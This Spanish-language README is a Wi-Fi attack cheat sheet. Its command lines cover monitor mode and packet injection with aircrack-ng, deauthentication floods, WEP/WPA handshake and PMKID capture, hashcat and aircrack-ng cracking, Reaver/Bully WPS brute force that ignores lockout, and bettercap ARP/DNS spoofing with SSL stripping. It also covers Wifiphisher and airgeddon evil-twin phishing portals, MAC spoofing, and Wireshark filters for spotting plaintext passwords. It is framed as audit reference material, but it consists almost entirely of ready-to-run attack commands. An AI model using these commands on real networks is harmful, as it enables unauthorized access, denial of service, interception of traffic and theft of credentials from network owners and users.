README
Herramientas
Section titled “Herramientas”Suite Aircrack-ng
Section titled “Suite Aircrack-ng”La suite principal para auditorías Wi-Fi. Incluye todas las herramientas necesarias para captura, inyección y cracking.
airmon-ng — Gestión del modo monitor
Section titled “airmon-ng — Gestión del modo monitor”# Ver interfaces disponiblesairmon-ng
# Verificar procesos conflictivosairmon-ng check
# Matar procesos conflictivosairmon-ng check kill
# Activar modo monitorairmon-ng start wlan0airmon-ng start wlan0 6 # En canal específico
# Desactivar modo monitorairmon-ng stop wlan0mon
# Con driver específico (forzar)airmon-ng start wlan0 --driver rtl8812auairodump-ng — Captura de tráfico y reconocimiento
Section titled “airodump-ng — Captura de tráfico y reconocimiento”# Escaneo generalairodump-ng wlan0mon
# Solo 2.4 GHzairodump-ng wlan0mon --band bg
# Solo 5 GHzairodump-ng wlan0mon --band a
# Ambas bandasairodump-ng wlan0mon --band abg
# Focalizado en un APairodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF --channel 6 -w captura
# Guardar en múltiples formatosairodump-ng wlan0mon -w salida --output-format csv,pcap,kismet,netxml
# Solo guardar IVs (para WEP)airodump-ng wlan0mon --bssid BSSID --channel CH --ivs -w wep_ivs
# Mostrar fabricante de la MACairodump-ng wlan0mon --manufacturer
# Mostrar solo redes WPA2airodump-ng wlan0mon | grep WPA2aireplay-ng — Inyección de paquetes
Section titled “aireplay-ng — Inyección de paquetes”# Test de inyección (verificar que funciona)aireplay-ng -9 wlan0monaireplay-ng -9 -a BSSID wlan0mon # Con AP específico
# Deauthenticationaireplay-ng -0 N -a BSSID_AP wlan0mon # N deauths a todosaireplay-ng -0 N -a BSSID_AP -c MAC_CLIENTE wlan0mon # N deauths a cliente específicoaireplay-ng -0 0 -a BSSID_AP wlan0mon # Infinito
# Fake Authentication (para ataques WEP)aireplay-ng -1 0 -a BSSID_AP wlan0mon # Asociación básicaaireplay-ng -1 6000 -o 1 -q 10 -a BSSID wlan0mon # Mantener asociación
# ARP Replay (generar IVs para WEP)aireplay-ng -3 -b BSSID_AP wlan0mon
# Chopchop attack (WEP)aireplay-ng -4 -b BSSID_AP wlan0mon
# Fragmentation attack (WEP)aireplay-ng -5 -b BSSID_AP wlan0mon
# Interactive packet replayaireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSID wlan0monaircrack-ng — Cracking de contraseñas
Section titled “aircrack-ng — Cracking de contraseñas”# Crackear WPA/WPA2 con diccionarioaircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt
# Especificar BSSID si hay varios handshakesaircrack-ng captura-01.cap -w wordlist.txt -b AA:BB:CC:DD:EE:FF
# Crackear WEP con IVsaircrack-ng wep_ivs-01.ivsaircrack-ng -n 128 wep_ivs-01.ivs # WEP 128 bits
# Crackear WEP con probabilidad estadísticaaircrack-ng -f 4 captura-01.cap # Fudge factor
# Verificar que hay handshake (sin crackear)aircrack-ng captura-01.capairdecap-ng — Descifrado de capturas
Section titled “airdecap-ng — Descifrado de capturas”# Descifrar captura WPA con contraseña conocidaairdecap-ng -e "NombreRed" -p "ContraseñaRed" captura-01.cap# Genera: captura-01-dec.cap
# Descifrar WEP con clave conocidaairdecap-ng -w CLAVE_WEP captura-01.cap
# Eliminar cabeceras 802.11 (convertir a Ethernet)airdecap-ng -l captura-01.capairbase-ng — Crear AP (uso básico)
Section titled “airbase-ng — Crear AP (uso básico)”# Crear AP abierto básicoairbase-ng -e "MiAP" -c 6 wlan0mon
# Crear AP con WPA2airbase-ng -e "MiAP" -c 6 -z 4 wlan0mon# -z 4 → CCMP (WPA2)
# La interfaz del AP se crea automáticamente como at0# Configurar at0 con IP y DHCP para dar internetip addr add 192.168.1.1/24 dev at0ip link set at0 updnsmasq --interface=at0 --dhcp-range=192.168.1.2,192.168.1.30Suite hcxtools
Section titled “Suite hcxtools”Suite moderna para captura y procesamiento de handshakes WPA y PMKID.
hcxdumptool — Captura moderna
Section titled “hcxdumptool — Captura moderna”# Captura básica (PMKID + handshakes)hcxdumptool -i wlan0mon -o captura.pcapng --enable_status=3
# Con filtro de AP específicoecho "aabbccddeeff" > target_ap.txt # BSSID sin puntoshcxdumptool -i wlan0mon \ -o captura.pcapng \ --enable_status=3 \ --filterlist_ap=target_ap.txt \ --filtermode=2
# Captura en canal específicohcxdumptool -i wlan0mon -o captura.pcapng --channel=6 --enable_status=3
# Scan de canales automáticohcxdumptool -i wlan0mon -o captura.pcapng --rcascan --enable_status=3
# Solo 5 GHzhcxdumptool -i wlan0mon -o captura.pcapng --band=a --enable_status=3
# Con filtro de clientes específicosecho "112233445566" > target_clients.txthcxdumptool -i wlan0mon -o captura.pcapng \ --filterlist_sta=target_clients.txt \ --filtermode=2hcxpcapngtool — Procesamiento y extracción
Section titled “hcxpcapngtool — Procesamiento y extracción”# Extraer hashes en formato hashcat 22000hcxpcapngtool -o hashes.22000 captura.pcapng
# Extraer solo PMKIDshcxpcapngtool -o hashes.22000 captura.pcapnggrep "WPA\*01\*" hashes.22000 > solo_pmkid.22000
# Extraer información adicionalhcxpcapngtool captura.pcapng \ -E essids.txt \ # Lista de ESSIDs capturados -I identidades.txt \ # Identidades EAP -U usuarios.txt # Usuarios
# Generar wordlist desde los ESSIDs capturadoshcxpcapngtool captura.pcapng --essid-wordlist=essid_wordlist.txt
# Ver estadísticas del archivohcxpcapngtool captura.pcapng
# Filtrar por BSSID específicohcxpcapngtool captura.pcapng -o filtered.22000 \ --filterlist_ap=target_ap.txt --filtermode=2Reaver & Bully — WPS
Section titled “Reaver & Bully — WPS”# Reaver — WPS Pixie Dustreaver -i wlan0mon -b BSSID -K 1 -vvv
# Reaver — Fuerza bruta WPSreaver -i wlan0mon -b BSSID -vvvreaver -i wlan0mon -b BSSID -d 5 -r 3:15 -vvv # Con delaysreaver -i wlan0mon -b BSSID -c 6 -vvv # Canal específicoreaver -i wlan0mon -b BSSID -p 1234 -vvv # PIN inicialreaver -i wlan0mon -b BSSID -L -vvv # Ignorar lockout
# Bully — alternativabully wlan0mon -b BSSID -d -v 3 # Pixie Dustbully wlan0mon -b BSSID -v 3 # Fuerza brutabully wlan0mon -b BSSID -c 6 -v 3 # Canal específico
# Wash — escaneo de WPSwash -i wlan0monwash -i wlan0mon -5 # 5 GHzwash -i wlan0mon -c 6 # Canal específicowash -i wlan0mon -o wps_scan.csv # Guardar resultadosHashcat — Cracking con GPU
Section titled “Hashcat — Cracking con GPU”# Modos para Wi-Fi:# -m 22000 → WPA-PBKDF2-PMKID+EAPOL (formato moderno)# -m 2500 → WPA/WPA2 .hccapx (legacy)# -m 5600 → NetNTLMv2 (MSCHAPv2 de Enterprise)# -m 16800 → WPA-PMKID-PBKDF2 (PMKID solo)
# Por diccionariohashcat -m 22000 hashes.22000 rockyou.txt
# Con reglashashcat -m 22000 hashes.22000 rockyou.txt -r rules/best64.rulehashcat -m 22000 hashes.22000 rockyou.txt -r rules/dive.rule
# Por máscara (8 dígitos)hashcat -m 22000 hashes.22000 -a 3 ?d?d?d?d?d?d?d?d
# Combinación de diccionarioshashcat -m 22000 hashes.22000 -a 1 dict1.txt dict2.txt
# Ver contraseña encontradahashcat -m 22000 hashes.22000 --show
# Benchmark (velocidad de la GPU)hashcat -m 22000 -b
# Rendimiento esperado (GTX 1060):# WPA2: ~400.000 H/s# Una pasada de rockyou (14M entradas): ~35 segundos# 8 dígitos (100M): ~250 segundosBettercap — MITM todo en uno
Section titled “Bettercap — MITM todo en uno”# Instalaciónapt install bettercap# ogo install github.com/bettercap/bettercap@latest
# Iniciar en interfaz Wi-Fi conectadabettercap -iface wlan0
# Comandos principales en la consola interactiva:help # Lista de módulosnet.probe on # Descubrir hostsnet.show # Ver hosts detectadosset arp.spoof.targets IP # Objetivo ARP spoofarp.spoof on # Iniciar ARP spoofingnet.sniff on # Capturar tráficoset net.sniff.output captura.pcap # Guardar capturaset https.proxy.sslstrip true # SSL strippinghttps.proxy on # Proxy HTTPSset dns.spoof.domains target.com # Spoof de dominioset dns.spoof.address 192.168.1.2 # IP destino DNSdns.spoof on # DNS spoofingwifi.recon on # Reconocimiento Wi-Fiwifi.show # Ver redes detectadaswifi.deauth BSSID # Deauth a un APevents.stream on # Ver eventos en tiempo real
# Caplet (script de automatización)cat > mitm.cap << EOFset arp.spoof.targets 192.168.1.0/24arp.spoof onset https.proxy.sslstrip truehttps.proxy onnet.sniff onEOFbettercap -iface wlan0 -caplet mitm.capWifiphisher — Evil Twin automatizado
Section titled “Wifiphisher — Evil Twin automatizado”# Instalaciónpip3 install wifiphisher
# Seleccionar red interactivamentesudo wifiphisher
# Con red específicasudo wifiphisher --essid "NombreRed" \ -phishingscenario firmware-upgrade
# Templates disponiblessudo wifiphisher --list-scenarios
# Con interfaces específicassudo wifiphisher -aI wlan0 -jI wlan1 \ --essid "NombreRed" \ -phishingscenario oauth-login
# Sin internet (solo portal, sin NAT)sudo wifiphisher --essid "NombreRed" \ -phishingscenario wifi-connect \ --no-internetAirgeddon — Suite completa interactiva
Section titled “Airgeddon — Suite completa interactiva”# Instalacióngit clone https://github.com/v1s1t0r1sh3r3/airgeddon.gitcd airgeddonbash airgeddon.sh
# Menú principal:# 2 → Poner interfaz en modo monitor# 3 → Volver a modo managed# 4 → Ataques DoS (deauth)# 5 → Evil Twin attacks# 6 → WPS attacks (Pixie Dust + Brute Force)# 7 → WEP attacks# 8 → WPA/WPA2 attacks (handshake + cracking)# 9 → Ataques enterprise# 10 → Offline WPA/WPA2 decrypt
# Evil Twin con portal cautivo:# 5 → Evil Twin attacks# 9 → WPA/WPA2 Evil Twin AP attack with captive portal
# WPS Pixie Dust:# 6 → WPS attacks# 8 → Pixie Dust attackMacchanger — Cambio de MAC
Section titled “Macchanger — Cambio de MAC”# Ver MAC actualmacchanger -s wlan0
# MAC completamente aleatoriamacchanger -r wlan0
# MAC de un fabricante aleatoriomacchanger -A wlan0
# MAC específicamacchanger -m AA:BB:CC:DD:EE:FF wlan0
# Restaurar MAC originalmacchanger -p wlan0
# Cambiar MAC con la interfaz activa (modo monitor)ip link set wlan0mon downmacchanger -r wlan0monip link set wlan0mon upWireshark — Filtros esenciales para Wi-Fi
Section titled “Wireshark — Filtros esenciales para Wi-Fi”# Iniciar con interfaz en modo monitorwireshark -i wlan0mon -k
# Filtros de captura (BPF — aplican durante la captura):# Solo tramas de un AP:wlan host AA:BB:CC:DD:EE:FF
# Solo tramas de management:wlan.fc.type == 0
# Filtros de visualización (aplican al análisis):
# Handshakes WPAeapol
# Beacons (anuncios de AP)wlan.fc.type_subtype == 0x08
# Probe requests (clientes buscando redes)wlan.fc.type_subtype == 0x04
# Deauth frameswlan.fc.type_subtype == 0x0c
# Solo tráfico HTTPhttp
# POST con posibles credencialeshttp.request.method == "POST"
# Ver credenciales en clarohttp contains "password"
# ARP (para ver ARP spoofing)arp
# Ver todo excepto beacons (reduce ruido)!wlan.fc.type_subtype == 0x08Referencia rápida de comandos
Section titled “Referencia rápida de comandos”# RECONOCIMIENTOairmon-ng check kill && airmon-ng start wlan0airodump-ng wlan0monwash -i wlan0mon
# HANDSHAKEairodump-ng wlan0mon --bssid BSSID --channel CH -w capturaaireplay-ng -0 5 -a BSSID wlan0mon
# PMKIDhcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3hcxpcapngtool -o hashes.22000 pmkid.pcapng
# CRACKINGhashcat -m 22000 hashes.22000 rockyou.txt -r rules/best64.rulehashcat -m 22000 hashes.22000 -a 3 ?d?d?d?d?d?d?d?d
# WPSreaver -i wlan0mon -b BSSID -K 1 -vvv # Pixie Dustreaver -i wlan0mon -b BSSID -d 5 -vvv # Brute force
# EVIL TWINairgeddon.sh # Menú interactivowifiphisher --essid "Target" -phishingscenario firmware-upgrade
# MITMbettercap -iface wlan0# → arp.spoof on, net.sniff on, https.proxy onEl orden recomendado de herramientas para cualquier auditoría Wi-Fi:
washpara identificar WPS →hcxdumptoolpara PMKID →aircrack-ng/airodump-ngpara handshake →hashcatpara cracking. Airgeddon automatiza todo esto en un menú interactivo.
hcxdumptool reemplaza a airodump-ng para la captura moderna porque captura PMKID y EAPOL simultáneamente, hace saltos de canal automáticos y genera el formato
.pcapngque hcxpcapngtool convierte directamente al formato hashcat.
Mantener siempre aircrack-ng y hcxtools actualizados — el formato
.22000de hashcat y las capacidades de hcxdumptool evolucionan frecuentemente y versiones antiguas pueden no ser compatibles entre sí.